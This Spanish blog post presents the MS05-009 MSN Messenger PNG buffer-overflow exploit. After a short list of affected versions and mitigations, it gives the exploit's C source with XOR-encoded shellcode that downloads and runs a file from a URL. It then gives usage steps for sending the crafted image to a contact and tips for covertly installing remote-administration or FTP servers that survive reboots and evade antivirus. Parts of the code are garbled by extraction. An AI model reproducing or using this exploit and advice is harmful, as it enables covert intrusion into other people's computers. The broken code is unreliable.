Estuve probándolo este finde y funciona a las mil maravillas. Conseguí ejecutar remotamente una inofensiva calculadora, pero podría haber sido cualquier otro ejecutable. Además he comprobado que este ataque se salta los firewalls (cortafuegos) y los antivirus (salvo que mandes un virus, supongo, pero podemos mandar algún programa cliente-servidor no-vírico modificado para conseguir algunas maldades).
Esta vulnerabilidad afecta a los Windows 2000 con todos los Service Pack y Windows XP con todos los Service Pack en los que se ejecute el Messenger. Las versiones del Messenger afectadas son las siguientes (casi todas):
. MSN Messenger 6.2
. MSN Messenger 6.1
. Windows Messenger 4.7.2009
. Windows Messenger 4.7.3000
. Windows Messenger 5.0
Posibles soluciones:
A) No aceptar transferencias de archivos de imagen con la extensión .png. (Esta es la solución que yo propongo)
B) Utilizar la versión beta (en pruebas) 7.0 del MSN Messenger (que no es vulnerable).
C) Instalar el MSN Plus (una extensión para el Messenger que, curiosamente y por casualidad, hace que este ataque no le afecte).
D) Utilizar el AMSN (versión libre del MSN, originariamente para Linux, pero ya hay versiones para Windows).
* Al cabo de 3 días de salir el exploit, Microsoft sacó una nueva versión del MSN no vulnerable (la 6.0205)
Modo de empleo:
Compílate este código:
--------------------
/*
*
* MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit (MS05-009)
* Bug discoveried by Core Security Technologies (www.coresecurity.com)
* Exploit coded By ATmaCA
* Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.
* Web: http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to kozan and delikon
* Usage:exploit
*
*/
/*
*
* Tested with MSN Messenger 6.2.0137
* This vulnerability can be exploited on Windows 2000 (all service
packs)
* and Windows XP (all service packs) that run vulnerable
* clients of MSN Messenger.
*
*/
/*
*
* After creating vuln png image, open
* MSN Messenger and select it as your display picture in
* "Tools->Change Display Picture".
*
*/
#include
#include
#include
#include
#ifdef __BORLANDC__
#include
#endif
#define NOP 0x90
char png_header[] =
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
"\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
"\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";
char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";
/* Generic win32 http download shellcode
xored with 0x1d by delikon (http://delikon.de/) */
char shellcode[] = "\xEB"
"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
"\x39\x1C\xF6\x7B\x96\x11\x56\ x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
"\x78\x65\x78\x1D";
FILE *di;
int i = 0;
short int weblength;
char *web;
char *pointer = NULL;
char *newshellcode;
/*xor cryptor*/
char *Sifrele(char *Name1)
{
char *Name=Name1;
char xor=0x1d;
int Size=strlen(Name);
for(i=0;i
printf("\tExample:exploit vuln.png
http://www.atmacasoft.com/exp/msg.exe\n");
return;
}
web = argv[2];
if( (di=fopen(argv[1],"wb")) == NULL )
{
printf("Error opening file!\n");
return;
}
for(i=0;i
/*stuff in a couple of NOPs*/
for(i=0;i<99;i++) weblength="(short" pointer="strstr(shellcode," newshellcode =" new" i="0;i
for(i=0;i<(83-strlen(web));i++) //NOPs fputc(NOP,di); /*Overwriting the return address (EIP)*/ /*0x005E0547 - ret */ fputc(0x47,di); fputc(0x05,di); fputc(0x5e,di); fputc(0x00,di); for(i=0;i
printf("Vulnarable png file %s has been generated!\n",argv[1]);
fclose(di);
}
--------------------
Después, suponiendo que el ejecutable se llamase exploit.exe la sintaxis sería:
C:\exploit fotomala.png http://mipaginaweb.com/archivoaejecutar.exe
Entonces te generará un archivo llamado fotomala.png, que es la imagen maliciosa que en realidad contiene un hipervínculo "encriptado" al archivo apuntado en la url.
Sólo tienes que enviar por el Messenger esa imagen falsa a un contacto. En cuanto acepte la transferencia se descargará el archivo y se ejecutará.
Muy bonito, ¿y qué envío? Pues si mandas un troyano el antivirus cantará por lo menos la sardana y alguna sevillana. Si mandas un programa tipo VPN le saltarán las ventanas de configuración a la víctima y no podrás hacer nada. Lo suyo sería configurar algún servidor de ftp simple (ej. ServU) o alguna herramienta de administración remota sencilla (ej. Radmin) para que se instalen ocultamente y que se inicien ocultamente cada vez que se arranque el sistema.
Un problema añadido seguramente será la IP dinámica de la víctima, pero seguro que podéis programaros e instalarle con este mismo método algún cliente-servidor que os mande su IP (y si no, pues el Winud la manda por e-mail, o sacadla mediante MSN).
No hay comentarios:
Publicar un comentario